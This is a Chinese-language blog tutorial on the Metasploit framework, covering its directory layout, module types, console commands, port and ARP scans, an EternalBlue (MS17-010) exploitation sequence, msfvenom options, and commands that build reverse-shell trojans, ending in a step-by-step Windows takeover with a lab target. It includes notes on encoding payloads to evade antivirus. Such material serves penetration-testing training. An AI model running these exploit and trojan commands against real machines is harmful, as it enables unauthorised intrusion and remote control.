您现在的位置是:首页 >学无止境 >【网络安全】Metasploit工具网站首页学无止境
【网络安全】Metasploit工具
Metasploit
Metasploit介绍
默认安装目录
/usr/share/metasploit-framework
主要应用文件
data:用于储存某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation:包含框架的可用文档。
lib:Metasploit库文件夹
plugins:用来存放Metasploit插件
scripts:存放Metasploit脚本
tools:存放多种命令的行实用命令
modules:存放Metasploit模块文件主要应用文件夹
modules文件内容介绍
auxiliaries:辅助模块,执行扫描、嗅探、指纹识别等辅助渗透测试
exploit:漏洞利用模块,其中包含攻击者或测试人针对系统中的漏洞而设计的各种POC验证程序、用于破坏系统安全性的攻击代码等各种漏洞相应的攻击代码
payload:期望目标系统在被渗透攻击之后完成实际攻击的代码
post:用于取得目标系统远程控制权后,进行后渗透的攻击动作,如:获取敏感信息、实施跳板攻击。
encoders:负责免杀,防止被杀毒软件、防火墙等安全软件检测出来
目录内容
Metasploit使用
启动命令 :
msfdb init:初始化数据库
msfconsole:启动命令
常用命令
db_status:数据库连接状态
workspace:查看工作区
db_nmap:启动nmap-
show exploits :查看所有可用渗透攻击代码程序
show auxiliary:查看所有可用的辅助攻击工具
show options:查看可用选项
show payloads:查看该模块适用的所有载荷代码
show targets:查看该模块适用的攻击目标类型
search:显示某模块详细信息
use:设置渗透攻击模块
back:回退
信息收集之端口扫描
使用辅助模块进行扫描
seach portscan #查看端口扫描的方法
use auxiliary/scanner/portscan/syn #使用syn方式扫描端口
show options #查看使用选项
set #设置参数
run # 运行脚本
信息收集之c段扫描
使用方法一致:
back #返回
search discovery#查看c段扫描方法
use auxiliary/scanner/discovery/arp_sweep #使用arp_sweep进行扫描
show options #查看参数选项
set RHOSTS 扫描地址
run #运行
ms17_010(永恒之蓝)
步骤
msfconsole
search ms17_010
use auxiliary/scanner/smb/smb_ms17_010
show options
set RHOSTS 192.168.2.2
run
use exploit/windows/smb/ms17_010_psexec
show options
set RHOSTS 192.168.2.2
exploit
获取meterpreter权限后操作查看:https://blog.csdn.net/qq_41158271/article/details/129685508?spm=1001.2014.3001.5501
msfvenom
常用选项
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,…all
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-f, --format < format> 指定输出格式
-e, --encoder 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, --arch < architecture> 指定payload的目标架构,例如x86 还是 x64 还是 x86_64
-o, --out < path> 指定创建好的payload的存放位置
-b, --bad-chars < list> 设定规避字符集,指定需要过滤的坏字符。例如:不使用 ‘x0f’、‘x00’
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-s, --space < length> 设定有效攻击荷载的最大长度,就是文件大小
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
-v, --var-name < value> 指定一个自定义的变量,以确定输出格式
-t, --timeout 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)
-h,–help 查看帮助选项
–platform < platform> 指定payload的目标平台
生成木马命令
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your Ip Address> LPORT =<Your Port to Connect On> -f elf>shell.elff
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target Ip Address> LPORT=<Your Port to Connect on> -f elf >shell.elf
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your Ip Address>LPORT=<Your Port to Connect On> -f exe>shell.exe
mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your Ip Addess> LPORT =<Your Port to Connect on>-f macho>shell.macho
入侵win全过程
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.0.0.1 lport=4444 -f exe >hello.exe #生成木马
use exploit/multi/handler #使用handler模块
set payload windows/meterpreter/reverse_tcp #进行监听设置
set lhost 192.0.0.1
set lport 4444
exploit -j #后台运行
jobs 可查看后台运行任务
靶机运行:
靶机运行生成的exe文件